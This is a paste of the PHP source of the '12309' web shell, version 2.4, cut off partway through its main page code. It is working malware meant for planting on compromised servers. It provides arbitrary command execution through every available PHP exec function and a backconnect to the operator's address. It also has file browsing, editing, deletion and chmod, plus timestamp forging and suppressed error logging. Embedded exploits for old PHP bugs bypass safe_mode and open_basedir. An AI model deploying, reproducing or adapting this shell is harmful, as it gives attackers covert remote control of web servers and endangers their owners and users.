· 9 years ago · Sep 19, 2017, 08:46 PM
1<?php
2//th1s 1s ultr4l33t php websh3ll || uz3 1t f0r 3duc4t10n4l purp0zes 0nly :P
3if(isset($_GET['pfs'])) {
4 if(empty($_GET['path'])) {
5 $path="./";
6 } else {
7 $path=$_GET['path'];
8 }
9 findsock($path);
10}
11@session_start();
12if(isset($_REQUEST['l0g1n'])) {
13 $_SESSION['l0g1n']=session_id();;
14}
15
16$ver="2.4";
17// --------------------------------------------- globals
18@ini_set('display_errors',0);
19@ini_set('log_errors',0);
20@error_reporting(0);
21@set_time_limit(0);
22@ignore_user_abort(1);
23@ini_set('max_execution_time',0);
24$pageend='</body></html>';
25$htaccesses=array('cgi' => "Options +Indexes +FollowSymLinks +ExecCGI\nAddType application/x-httpd-cgi .pl .py", 'ssi' => "Options +Includes\nAddType text/html .shtml\nAddHandler server-parsed .shtml\nAddOutputFilter INCLUDES .shtml");
26if($_POST['action']!="") {
27 $_SESSION['action']=$_POST['action'];
28 $action=$_SESSION['action'];
29} else {
30 $action="viewer";
31}
32// download file or command execution result
33if($action=="download" or $_POST["down"]=="on") {
34 $download="1";
35}
36if ($download == "1") {
37 if (isset($_POST["file"])) {
38 header('Content-Length:'.filesize($_POST["file"]).'');
39 }
40 header("Content-Type: application/force-download");
41 header("Content-Type: application/octet-stream");
42 header("Accept-Ranges: bytes");
43 if (isset($_POST["filename"])) {
44 header('Content-Disposition: attachment; filename="'.$_POST["filename"].'"');
45 } elseif (isset($_POST["file"])) {
46 header('Content-Disposition: attachment; filename="'.$_POST["file"].'"');
47 } else {
48 header('Content-Disposition: attachment; filename="result.txt"');
49 }
50}
51@set_magic_quotes_runtime(0);
52@ini_set("magic_quotes_runtime", 0);
53// slashes fix by r00nix
54if (get_magic_quotes_gpc()) {
55 function stripslashes_deep($value) {
56 $value = is_array($value) ?
57 array_map('stripslashes_deep', $value) :
58 stripslashes($value);
59 return $value;
60 }
61 $_POST = array_map('stripslashes_deep', $_POST);
62 $_GET = array_map('stripslashes_deep', $_GET);
63 $_COOKIE = array_map('stripslashes_deep', $_COOKIE);
64 $_REQUEST = array_map('stripslashes_deep', $_REQUEST);
65}
66$descriptorspec = array(
67 0 => array("pipe", "r"),
68 1 => array("pipe", "w"),
69 2 => array("pipe", "w")
70);
71$helpscript='function showTooltip(id)
72{
73 var myDiv = document.getElementById(id);
74 if(myDiv.style.display == "none"){
75 myDiv.style.display = "block";
76 } else {
77 myDiv.style.display = "none";
78 }
79 return false;
80}';
81$resizescript='function changeSize(elem){
82 if(event.keyCode==13){
83 elem.rows = elem.rows+1;
84 }
85 var oldrows = getrows(elem);
86 var myTxtAreaSize = elem.value.length;
87 var newrows = (myTxtAreaSize / 80 | 0)+1;
88 if(newrows>oldrows){
89 elem.rows = newrows;
90 } else {
91 elem.rows = oldrows;
92 }
93}
94function getrows(elem){
95 var text = elem.value.replace(/\s+$/g, "\n");
96 var aNewlines = text.split("\n");
97 var iNewlineCount = aNewlines.length;
98 return iNewlineCount;
99}';
100$design='function cleard() {
101 document.cookie="d=c; path=/;";
102 window.location.reload();
103}
104function blackd() {
105 document.cookie="d=b; path=/;";
106 window.location.reload();
107}';
108if ($_COOKIE['d'] != "c") {
109 $style='<style type="text/css">
110 a {
111 color: yellow;
112 text-decoration: none;
113 text-shadow: black 0px 0px 4px;
114 }
115 input {
116 background-color: #303030;
117 color: #73ba25; /* guess why */
118 border: none;
119 }
120 textarea {
121 background-color: #303030;
122 color: #73ba25;
123 border: none;
124 }
125 input[type="submit"] {
126 background-color: gray;
127 color: white;
128 }
129 select {
130 background-color: black;
131 color: yellow;
132 }
133 body {
134 background-color: black;
135 color: white;
136 }
137 </style>';
138} else {
139 $style='';
140}
141if ($_COOKIE['d'] == "c") {
142 $button='<input type="button" value="black style" onclick="blackd()"></span><br><br>';
143 } else {
144 $button='<input type="button" value="clear style" onclick="cleard()"></span><br><br>';
145}
146$title='<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
147<!-- made by 12309 || cheerz to Tidus, Shift, pekayoba, Zer0, ForeverFree, r00nix and all people whose code i borrowed || exploit.in f0r3v4 -->
148<html>
149 <head>
150 <title>12309 '.$ver.'</title>
151 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">'.$style.'</head><body><script type="text/javascript">'.$helpscript.''.$resizescript.''.$design.'</script><span style="float:left;"><form name="page" method="post" action="'.$_SERVER["PHP_SELF"].'"><input name="p" type="hidden" value=""></form><b><a href="#" onclick=\'document.page.p.value="f";document.page.submit();\'>file operations</a></b> || <b><a href="#" onclick=\'document.page.p.value="s";document.page.submit();\'>execute command</a></b> || <b><a href="#" onclick=\'document.page.p.value="b";document.page.submit();\'>bind/backconnect</a></b> || <b><a href="#" onclick=\'document.page.p.value="e";document.page.submit();\'>extras</a></b></span><span style="float: right;">'.$button.'';
152// --------------------------------------------- symbolic permissions
153function fperms($file,$request) {
154 $perms = fileperms($file);
155 if (($perms & 0xC000) == 0xC000) {$info = 's';}
156 elseif (($perms & 0xA000) == 0xA000) {$info = 'l';}
157 elseif (($perms & 0x8000) == 0x8000) {$info = '-';}
158 elseif (($perms & 0x6000) == 0x6000) {$info = 'b';}
159 elseif (($perms & 0x4000) == 0x4000) {$info = 'd';}
160 elseif (($perms & 0x2000) == 0x2000) {$info = 'c';}
161 elseif (($perms & 0x1000) == 0x1000) {$info = 'p';}
162 else {$info = '?';}
163 if ($request == "string") {
164 $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));
165 $info .= (($perms & 0x0020) ? 'r' : '-');$info .= (($perms & 0x0010) ? 'w' : '-');$info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));
166 $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-');$info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));
167 return $info;
168 } elseif ($request == "array") {
169 $o["r"] = ($perms & 00400) > 0; $o["w"] = ($perms & 00200) > 0; $o["x"] = ($perms & 00100) > 0;
170 $g["r"] = ($perms & 00040) > 0; $g["w"] = ($perms & 00020) > 0; $g["x"] = ($perms & 00010) > 0;
171 $w["r"] = ($perms & 00004) > 0; $w["w"] = ($perms & 00002) > 0; $w["x"] = ($perms & 00001) > 0;
172 return array("t"=>$info,"o"=>$o,"g"=>$g,"w"=>$w);
173 } else {
174 return "request?";
175 }
176}
177function view_perms_color($file) {
178 if (!is_readable($file)) {
179 return "<font color=red>".fperms($file,"string")."</font>";
180 } elseif (!is_writable($file)) {
181 return "<font color=white>".fperms($file,"string")."</font>";
182 } else {
183 return "<font color=green>".fperms($file,"string")."</font>";
184 }
185}
186// --------------------------------------------- touch file
187function touchz($file) {
188 $form=TRUE;
189 if (isset($_POST["touch_submit"])) {
190 $date=explode(" ",$_POST["time"]);
191 $day=explode("-",$date[0]);
192 $time=explode(":",$date[1]);
193 $unixtime=mktime($time[0],$time[1],$time[2],$day[1],$day[2],$day[0]);
194 if (touch($file,$unixtime,$unixtime)) {
195 $form = FALSE;
196 echo "<br>touched ".$file." to ".$unixtime." (".$_POST["time"].") <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a><br><br>";
197 } else {
198 echo "<br>can't touch to ".$unixtime." (".$_POST["time"].")! <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a><br><br>";
199 }
200 }
201 if ($form) {
202 echo "<br><form action=\"".$_SERVER['PHP_SELF']."\" method=\"POST\">
203 <input type=\"hidden\" name=\"p\" value=\"f\">
204 <input type=\"hidden\" name=\"file\" value=\"".$file."\">
205 <input type=\"hidden\" name=\"action\" value=\"touch\">
206 <input type=\"hidden\" name=\"dir\" value=\"".$_POST["dir"]."\">
207 touch ".$file." to: <input name=\"time\" type=\"text\" maxlength=\"19\" size=\"19\" value=\"".date("Y-m-d H:i:s",filemtime($file))."\">
208 <tr><td><input type=\"submit\" name=\"touch_submit\" value=\"Touch\"></td></tr>
209 </table></form>";
210 }
211 return TRUE;
212}
213// --------------------------------------------- chmod code from c99 shell, updated by 12309
214function chmodz($file) {
215 $check = fileperms($file);
216 if (!$check) {echo "<b>chmod error: can`t get current value!</b>";}
217 else {
218 $form=TRUE;
219 if (isset($_POST["chmod_submit"])) {
220 $chmod_o=$_POST["chmod_o"];
221 $chmod_g=$_POST["chmod_g"];
222 $chmod_w=$_POST["chmod_w"];
223 $octet=trim("0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8));
224 if (chmod($file,octdec($octet))) {
225 $form = FALSE;
226 echo "chmoded ".$file." to ".$octet."! <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a><br><br>";
227 } else {
228 echo "can't chmod to ".$octet."! <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a><br><br>";
229 }
230 }
231 if (isset($_POST["chmod_string"])) {
232 if (chmod($file,octdec($_POST["string"]))) {
233 $form = FALSE;
234 echo "chmoded ".$file." to ".$_POST["string"]."! <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a><br><br>";
235 } else {
236 echo "can't chmod to ".$_POST["string"]."! <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a><br><br>";
237 }
238 }
239 if ($form) {
240 $perms = fperms($file,"array");
241 echo "<br>chmoding ".$file.": ".view_perms_color($file)." (".substr(decoct($check),-4,4).") owned by: <br>".owner($file)."<br>
242 <br>input string: <form action=\"".$_SERVER['PHP_SELF']."\" method=\"POST\">
243 <input type=\"hidden\" name=\"p\" value=\"f\">
244 <input type=\"hidden\" name=\"file\" value=\"".$file."\">
245 <input type=\"hidden\" name=\"action\" value=\"chmod\">
246 <input type=\"hidden\" name=\"dir\" value=\"".$_POST["dir"]."\">
247 <input type=\"text\" name=\"string\" maxlength=\"4\" size=\"4\" value=\"".substr(decoct($check),-4,4)."\">
248 <input type=\"submit\" name=\"chmod_string\" value=\"Save\"></form>";
249 echo "<br> or select checkboxes:<br><form action=\"".$_SERVER['PHP_SELF']."\" method=\"POST\">
250 <input type=\"hidden\" name=\"p\" value=\"f\">
251 <input type=\"hidden\" name=\"file\" value=\"".$file."\">
252 <input type=\"hidden\" name=\"action\" value=\"chmod\">
253 <input type=\"hidden\" name=\"dir\" value=\"".$_POST["dir"]."\">
254 <table align=\"left\" width=\"300\" border=\"0\" cellspacing=\"0\" cellpadding=\"5\">
255 <tr>
256 <td><b>Owner</b><br>
257 <input type=\"checkbox\" name=\"chmod_o[r]\" value=\"1\"".($perms["o"]["r"]?" checked":"")."> read<br>
258 <input type=\"checkbox\" name=\"chmod_o[w]\" value=\"1\"".($perms["o"]["w"]?" checked":"")."> write<br>
259 <input type=\"checkbox\" name=\"chmod_o[x]\" value=1".($perms["o"]["x"]?" checked":"")."> execute
260 </td>
261 <td><b>Group</b><br>
262 <input type=\"checkbox\" name=\"chmod_g[r]\" value=\"1\"".($perms["g"]["r"]?" checked":"")."> read<br>
263 <input type=\"checkbox\" name=\"chmod_g[w]\" value=\"1\"".($perms["g"]["w"]?" checked":"")."> write<br>
264 <input type=\"checkbox\" name=\"chmod_g[x]\" value=\"1\"".($perms["g"]["x"]?" checked":"")."> execute
265 </td>
266 <td><b>World</b><br>
267 <input type=\"checkbox\" name=\"chmod_w[r]\" value=\"1\"".($perms["w"]["r"]?" checked":"")."> read<br>
268 <input type=\"checkbox\" name=\"chmod_w[w]\" value=\"1\"".($perms["w"]["w"]?" checked":"")."> write<br>
269 <input type=\"checkbox\" name=\"chmod_w[x]\" value=\"1\"".($perms["w"]["x"]?" checked":"")."> execute
270 </td>
271 </tr>
272 <tr><td><input type=\"submit\" name=\"chmod_submit\" value=\"Save\"></td></tr>
273 </table></form>";
274 }
275 }
276 return TRUE;
277}
278// --------------------------------------------- clearing phpversion()
279function version() {
280 $pv=explode(".",phpversion());
281 if(eregi("-",$pv[2])) {
282 $tmp=explode("-",$pv[2]);
283 $pv[2]=$tmp[0];
284 }
285 $php_version_sort=$pv[0].".".$pv[1].".".$pv[2];
286 return $php_version_sort;
287}
288// --------------------------------------------- recursive dir removal by Endeveit
289function rmrf($dir)
290{
291 if ($objs = glob($dir."/*")) {
292 foreach($objs as $obj) {
293 is_dir($obj) ? rmrf($obj) : unlink($obj);
294 }
295 }
296 if (rmdir($dir)) {
297 return TRUE;
298 } else {
299 return FALSE;
300 }
301}
302// --------------------------------------------- checking for enabled funcs
303function function_enabled($func) {
304 $disabled=explode(",",@ini_get("disable_functions"));
305 if (empty($disabled)) {
306 $disabled=array();
307 }
308 else {
309 $disabled=array_map('trim',array_map('strtolower',$disabled));
310 }
311 return (function_exists($func) && is_callable($func) && !in_array($func,$disabled) );
312}
313if (!function_enabled('shell_exec') and !function_enabled('proc_open') and !function_enabled('passthru') and !function_enabled('system') and !function_enabled('exec') and !function_enabled('popen')) {
314 $failflag="1";
315} else {
316 $failflag="0";
317}
318// -------------------------------------------- run command
319function run($c) {
320 if (function_enabled('shell_exec')) {
321 shell_exec($c);
322 } else if(function_enabled('system')) {
323 system($c);
324 } else if(function_enabled('passthru')) {
325 passthru($c);
326 } else if(function_enabled('exec')) {
327 exec($c);
328 } else if(function_enabled('popen')) {
329 $fp=popen($c,'r');
330 @pclose($fp);
331 } else if(function_enabled('proc_open')) {
332 $handle=proc_open($c,$GLOBALS["descriptorspec"],$pipes);
333 while (!feof($pipes[1])) {
334 $buffer.=fread($pipes[1],1024);
335 }
336 @proc_close($handle);
337 }
338}
339// -------------------------------------------- php <= 5.2.9 curl bug
340function sploent529($path) {
341 if (!is_dir('file:')) {
342 mkdir('file:');
343 }
344 $dirz=array();
345 $a=array();
346 $a=explode('/',$path);
347 $c=count($a);
348 $dir='file:/';
349 $d=substr($dir,0,-1);
350 if (!is_dir($d)) {
351 mkdir($d);
352 }
353 for ($i=0;$i<$c-1;++$i) {
354 $dir.=$a[$i].'/';
355 $d=substr($dir,0,-1);
356 $dirz[]=$d;
357 if (!is_dir($d)) {
358 mkdir($d);
359 }
360 }
361 if (!file_exists($path)) {
362 $fp=fopen('file:/'.$path,'w');
363 fclose($fp);
364 }
365 $ch=curl_init();
366 curl_setopt($ch,CURLOPT_URL,'file:file:////'.$path);
367 curl_setopt($ch,CURLOPT_HEADER,0);
368 if(FALSE==curl_exec($ch)) {
369 echo (" fail :( either there is no such file or exploit failed ");
370 curl_close($ch);
371 rmrf('file:');
372 echo $pageend;
373 die();
374 } else {
375 curl_close($ch);
376 rmrf('file:');
377 return TRUE;
378 }
379}
380// --------------------------------------------- php 5.1.6 ini_set bug
381function sploent516() {
382 //safe_mode check
383 if (ini_get("safe_mode") =="1" || ini_get("safe_mode") =="On" || ini_get("safe_mode") ==TRUE) {
384 ini_restore("safe_mode");
385 if (ini_get("safe_mode") =="1" || ini_get("safe_mode") =="On" || ini_get("safe_mode") ==TRUE) {
386 ini_set("safe_mode", FALSE);
387 ini_set("safe_mode", "Off");
388 ini_set("safe_mode", "0");
389 if (ini_get("safe_mode") =="1" || ini_get("safe_mode") =="On" || ini_get("safe_mode") ==TRUE) {
390 echo "<font color=\"red\">safe mode: ON</font><br>";
391 } else {
392 echo "<font color=\"green\">safe mode: OFF</font> || hello php-5.1.6 bugs<br>";
393 }
394 } else {
395 echo "<font color=\"green\">safe mode: OFF</font> || hello php-5.1.6 bugs<br>";
396 }
397 } else {
398 echo "<font color=\"green\">safe mode: OFF</font><br>";
399 }
400 //open_basedir check
401 if (ini_get("open_basedir")=="Off" || ini_get("open_basedir")=="/" || ini_get("open_basedir")==NULL || strtolower(ini_get("open_basedir"))=="none") {
402 echo "open_basedir: none<br>";
403 }
404 else {
405 ini_restore("open_basedir");
406 if (ini_get("open_basedir")=="Off" || ini_get("open_basedir")=="/" || ini_get("open_basedir")==NULL || strtolower(ini_get("open_basedir"))=="none") {
407 echo "open_basedir: none || hello php-5.1.6 bugs<br>";
408 }
409 else {
410 ini_set('open_basedir', '/');
411 if (ini_get("open_basedir")=="/") {
412 echo "open_basedir: / || hello php-5.1.6 bugs<br>";
413 }
414 else {
415 $basedir=TRUE;
416 echo "open_basedir: ".ini_get("open_basedir");
417 }
418 }
419 }
420}
421// --------------------------------------------- findsock
422function findsock($path) {
423 $VERSION = "1.0";
424 echo "findsock start\n ";
425 $c="".$path." ".$_SERVER['REMOTE_ADDR']." ".$_SERVER['REMOTE_PORT']."";
426 run($c);
427 echo " exiting\n";
428 exit();
429}
430// --------------------------------------------- search for binary
431function search($bin,$flag) {
432 if ($flag=="1") {
433 $path="";
434 return $path;
435 } else {
436 if (function_enabled('shell_exec')) {
437 $path=trim(shell_exec('export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin; which '.$bin.' 2>&1 | grep -v no.'.$bin.'.in'));
438 } else if(function_enabled('exec')) {
439 $path=trim(exec('export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin; which '.$bin.' 2>&1 | grep -v no.'.$bin.'.in'));
440 } else if(function_enabled('system')) {
441 ob_start();
442 system('export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin; which '.$bin.' 2>&1 | grep -v no.'.$bin.'.in');
443 $path=trim(ob_get_contents());
444 ob_end_clean();
445 } else if (function_enabled('popen')) {
446 $hndl=popen('export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin; which '.$bin.' 2>&1 | grep -v no.'.$bin.'.in', "r");
447 $path=trim(stream_get_contents($hndl));
448 pclose($hndl);
449 } else if(function_enabled('passthru')) {
450 ob_start();
451 passthru('export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin; which '.$bin.' 2>&1 | grep -v no.'.$bin.'.in');
452 $path=trim(ob_get_contents());
453 ob_end_clean();
454 } else if(function_enabled('proc_open')) {
455 $c='export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin && which '.$bin.' 2>&1 | grep -v no.'.$bin.'.in';
456 $process = proc_open('/bin/sh', $GLOBALS["descriptorspec"], $pipes);
457 if (is_resource($process)) {
458 fwrite($pipes[0],$c);
459 fclose($pipes[0]);
460 $path=trim(stream_get_contents($pipes[1]));
461 fclose($pipes[1]);
462 fclose($pipes[2]);
463 @proc_close($process);
464 }
465 }
466 }
467 return $path;
468}
469// --------------------------------------------- filemanager code by Grinay, updated by 12309
470function owner($path) {
471 $user=fileowner($path);
472 $group=filegroup($path);
473 $data=$user;
474 if(function_enabled('posix_getpwuid')) {
475 $u=posix_getpwuid($user);
476 $data.=" (".$u["name"].")";
477 }
478 $data.=" <br> ".$group;
479 if(function_enabled('posix_getgrgid')) {
480 $g=posix_getgrgid($group);
481 $data.=" (".$g["name"].") ";
482 }
483 return $data;
484}
485function view_size($size) {
486 if ($size>=1073741824) { $size=@round($size/1073741824*100)/100 ." GB"; }
487 elseif ($size>=1048576) { $size=$size." B<br>".@round($size/1048576*100)/100 ." MB"; }
488 elseif ($size>=1024) { $size=$size." B<br>".@round($size/1024*100)/100 ." KB"; }
489 else { $size=$size ." B"; }
490 return $size;
491}
492function dirsize($path) {
493 $totalsize=0;
494 if ($handle=opendir($path)) {
495 while (false !== ($file = readdir($handle))) {
496 $nextpath=$path . '/' . $file;
497 if ($file!='.' && $file != '..' && !is_link ($nextpath)) {
498 if (is_dir($nextpath)) {
499 $result=dirsize($nextpath);
500 $totalsize+=$result['size'];
501 } elseif (is_file($nextpath)) {
502 $totalsize+=filesize($nextpath);
503 }
504 }
505 }
506 }
507 closedir ($handle);
508 return $totalsize;
509}
510function scandire($dir) {
511 if (empty($dir)) { $dir=getcwd(); }
512 $dir=chdir($dir) or die('<font color="red">cannot chdir!</font> open_basedir/safe_mode on?<br><br>'.$pageend.'');
513 $dir=getcwd()."/";
514 $dir=str_replace("\\","/",$dir);
515 if (is_dir($dir)) {
516 if ($dh = opendir($dir)) {
517 while (($file = readdir($dh)) !== false) {
518 if(filetype($dir.$file)=="dir") $dire[]=$file;
519 if(filetype($dir.$file)=="file" || filetype($dir.$file)=="link" || filetype($dir.$file)=="socket") $files[]=$file;
520 // if(filetype($dir.$file)=="") $files[]=$file; //debug: strange behavior of filetype() with openbasedir, it returns ""
521 // if(filetype($dir.$file)=="link") $files[]=$file;
522 // echo "file = ".$file." (".filetype($file).")<br>"; #debug
523 // if (is_link($file)) { echo " -> ".readlink($file); }; #debug
524 }
525 closedir($dh);
526 @sort($dire);
527 @sort($files);
528 echo "<table border>";
529 echo '<tr><td><form method="post" action="'.$_SERVER['PHP_SELF'].'"><input name="p" type="hidden" value="f">go to dir:<input type="text" name="dir" value="'.$dir.'" size="30"><input name="action" type="hidden" value="viewer"><input type="submit" value="Go"></form></td></tr>';
530 echo "<tr><td>Name</td><td>Type</td><td>Size</td><td>Inode Changed<br>File Modified<br>File Accessed</td><td>Owner<br>Group</td><td>Chmod</td><td>Action</td></tr>";
531 for($i=0;$i<count($dire);$i++) {
532 $link=$dir.$dire[$i];
533 echo '<tr><td><a href="#" onclick="document.reqs.action.value=\'viewer\'; document.reqs.dir.value=\''.$link.'\'; document.reqs.submit();">'.$dire[$i].'<a/></td><td>Dir</td><td>'.view_size(dirsize($link)).'</td><td><font size="-1">'.date("d/m/Y H:i:s",filectime($link)).'<br>'.date("d/m/Y H:i:s",filemtime($link)).'<br>'.date("d/m/Y H:i:s",fileatime($link)).'</font></td><td>'.owner($link).'</td><td>'.substr(sprintf('%o',fileperms($link)), -4).' <br>('.view_perms_color($link,"string").')</td><td><a href="#" onclick="document.reqs.action.value=\'deletedir\'; document.reqs.dir.value=\''.$dir.'\'; document.reqs.file.value=\''.$link.'\'; document.reqs.submit();" title="Delete">x</a> <a href="#" onclick="document.reqs.action.value=\'chmod\'; document.reqs.file.value=\''.$link.'\'; document.reqs.submit();" title="Chmod">C</a> <a href="#" onclick="document.reqs.action.value=\'touch\'; document.reqs.file.value=\''.$link.'\'; document.reqs.submit();" title="Touch">T</a></td></tr>';
534 }
535 for($i=0;$i<count($files);$i++) {
536 $linkfile=$dir.$files[$i];
537 echo '<tr><td><a href="#" onclick="document.editor.filee.value=\''.$linkfile.'\'; document.editor.files.value=\''.$linkfile.'\'; document.editor.submit();">'.$files[$i].'</a>';
538 echo '<br></td><td>File</td><td>'.view_size(filesize($linkfile)).'</td><td><font size="-1">'.date("d/m/Y H:i:s",filectime($linkfile)).'<br>'.date("d/m/Y H:i:s",filemtime($linkfile)).'<br>'.date("d/m/Y H:i:s",fileatime($linkfile)).'</font></td><td>'.owner($linkfile).'</td><td>'.substr(sprintf('%o',fileperms($linkfile)), -4).' <br>('.view_perms_color($linkfile,"string").')</td><td> <a href="#" onclick="document.reqs.action.value=\'download\'; document.reqs.file.value=\''.$linkfile.'\'; document.reqs.submit();" title="Download">D</a> <a href="#" onclick="document.editor.filee.value=\''.$linkfile.'\'; document.editor.files.value=\''.$linkfile.'\'; document.editor.submit();" title="Edit">E</a> <a href="#" onclick="document.reqs.action.value=\'delete\'; document.reqs.file.value=\''.$linkfile.'\';document.reqs.dir.value=\''.$dir.'\'; document.reqs.submit();" title="Delete">x</a> <a href="#" onclick="document.reqs.action.value=\'chmod\'; document.reqs.file.value=\''.$linkfile.'\';document.reqs.dir.value=\''.$dir.'\'; document.reqs.submit();" title="Chmod">C</a> <a href="#" onclick="document.reqs.action.value=\'touch\'; document.reqs.file.value=\''.$linkfile.'\';document.reqs.dir.value=\''.$dir.'\'; document.reqs.submit();" title="Touch">T</a></td></tr></tr>';
539 }
540 echo "</table>";
541 }
542 }
543}
544// --------------------------------------------- crypt functions by Eugen
545function entityenc($str) {
546 $text_array=explode("\r\n", chunk_split($str, 1));
547 for ($n=0; $n < count($text_array) - 1; $n++) {
548 $newstring .= "&#" . ord($text_array[$n]) . ";";
549 }
550 return $newstring;
551}
552function entitydec($str) {
553 $str=str_replace(';', '; ', $str);
554 $text_array=explode(' ', $str);
555 for ($n=0; $n < count($text_array) - 1; $n++) {
556 $newstring .= chr(substr($text_array[$n], 2, 3));
557 }
558 return $newstring;
559}
560function asc2hex($str) {
561 return chunk_split(bin2hex($str), 2, " ");
562}
563function hex2asc($str) {
564 $str=str_replace(" ", "", $str);
565 for ($n=0; $n<strlen($str); $n+=2) {
566 $newstring .= pack("C", hexdec(substr($str, $n, 2)));
567 }
568 return $newstring;
569}
570// --------------------------------------------- crypt functions by smartman
571$itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
572function to64as($input,$count) {
573 global $itoa64;
574 $output = '';
575 $i = 0;
576 while ($i < $count) {
577 $value = ord($input[$i]);
578 ++$i;
579 $output .= $itoa64{$value & 0x3f};
580 if ($i < $count) $value |= (ord($input[$i]) << 8);
581 $output .= $itoa64{($value>>6) & 0x3f};
582 ++$i;
583 if ($i >= $count) break;
584 if ($i < $count) $value |= (ord($input[$i]) << 16);
585 $output .= $itoa64{($value>>12) & 0x3f};
586 ++$i;
587 if ($i >= $count) break;
588 $output .= $itoa64{($value>>18) & 0x3f};
589 }
590 return $output;
591}
592function to64na($value,$num) {
593 global $itoa64;
594 $output = '';
595 while ($num-1 >= 0) {
596 --$num;
597 $output .= $itoa64{$value & 0x3f};
598 $value >>= 6;
599 }
600 return $output;
601}
602function unap($pwd,$salt,$magic='$1$') {
603 if (substr($salt,0,strlen($magic)) == $magic) $salt = substr($salt,strlen($magic));
604 $salt = explode('$',$salt,1);
605 $salt = substr($salt[0],0,8);
606 $ctx = $pwd.$magic.$salt;
607 $final = md5($pwd.$salt.$pwd,true);
608 for ($pl=strlen($pwd);$pl>=0;$pl-=16) {
609 $ctx .= substr($final,0,($pl>16?16:$pl));
610 }
611 $i = strlen($pwd);
612 while ($i) {
613 $ctx .= ($i&1?chr(0):$pwd{0});
614 $i >>= 1;
615 }
616 $final = md5($ctx,true);
617 for ($i=0;$i<1000;++$i) {
618 $ctx1 = '';
619 $ctx1 .= ($i&1?$pwd:substr($final,0,16));
620 if ($i % 3) $ctx1 .= $salt;
621 if ($i % 7) $ctx1 .= $pwd;
622 $ctx1 .= ($i&1?substr($final,0,16):$pwd);
623 $final = md5($ctx1,true);
624 }
625 $passwd = '';
626 $passwd .= to64na(((int)ord($final{0}) << 16)|((int)ord($final{6}) << 8)|((int)ord($final{12})),4);
627 $passwd .= to64na(((int)ord($final{1}) << 16)|((int)ord($final{7}) << 8)|((int)ord($final{13})),4);
628 $passwd .= to64na(((int)ord($final{2}) << 16)|((int)ord($final{8}) << 8)|((int)ord($final{14})),4);
629 $passwd .= to64na(((int)ord($final{3}) << 16)|((int)ord($final{9}) << 8)|((int)ord($final{15})),4);
630 $passwd .= to64na(((int)ord($final{4}) << 16)|((int)ord($final{10}) << 8)|((int)ord($final{5})),4);
631 $passwd .= to64na(((int)ord($final{11})),2);
632 return $magic.$salt.'$'.$passwd;
633}
634function phpass($pwd,$salt,$count,$prefix) {
635 $hash = md5($salt.$pwd,true);
636 for ($i=0;$i<$count;++$i) {
637 $hash = md5($hash.$pwd,true);
638 }
639 return $prefix.substr($salt,0,8).to64as($hash,16);
640}
641function genSalt($salt,$length=8,$dot=0) {
642 if (strlen($salt)>=$length) return substr($salt,0,$length);
643 global $itoa64;
644 if (!$dot) { $alphabet=substr($itoa64,2); } else { $alphabet=$itoa64; }
645 $output='';
646 for ($i=0;$i<$length;++$i) $output.=$alphabet{mt_rand(0,strlen($alphabet)-1)};
647 return $output;
648}
649function mysql4($pwd) {
650 $nr = 0x50305735;
651 $nr2 = 0x12345671;
652 $add = 7;
653 $charArr = str_split($pwd);
654 foreach ($charArr as $char) {
655 if (in_array($char,array(' ','\n'))) continue;
656 $charVal = ord($char);
657 $nr ^= ((($nr & 63)+$add) * $charVal)+($nr << 8);
658 $nr &= 0x7fffffff;
659 $nr2 += ($nr2 << 8) ^ $nr;
660 $nr2 &= 0x7fffffff;
661 $add += $charVal;
662 }
663 return sprintf('%08x%08x',$nr,$nr2);
664}
665// --------------------------------------------- main code
666if (!isset($_REQUEST['p'])) { $_REQUEST['p']="s"; }
667switch ($_REQUEST['p']) {
668 case "s":
669 if (empty($_POST["wut"]) and $download != "1") {
670 echo $title;
671 sploent516();
672 if (ini_get("safe_mode")) {
673 $failflag="1";
674 }
675 $shelltext=("uname -a");
676 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">
677 <font color="green"> haxor@pwnedbox$ </font><textarea name="command" rows="1" cols="50" onkeyup="changeSize(this)">'.$shelltext.'</textarea> <input type="submit" value="go"> <input name="p" type="hidden" value="s"><input type="checkbox" name="down"> download <br><br>';
678 if ($failflag=="1") {
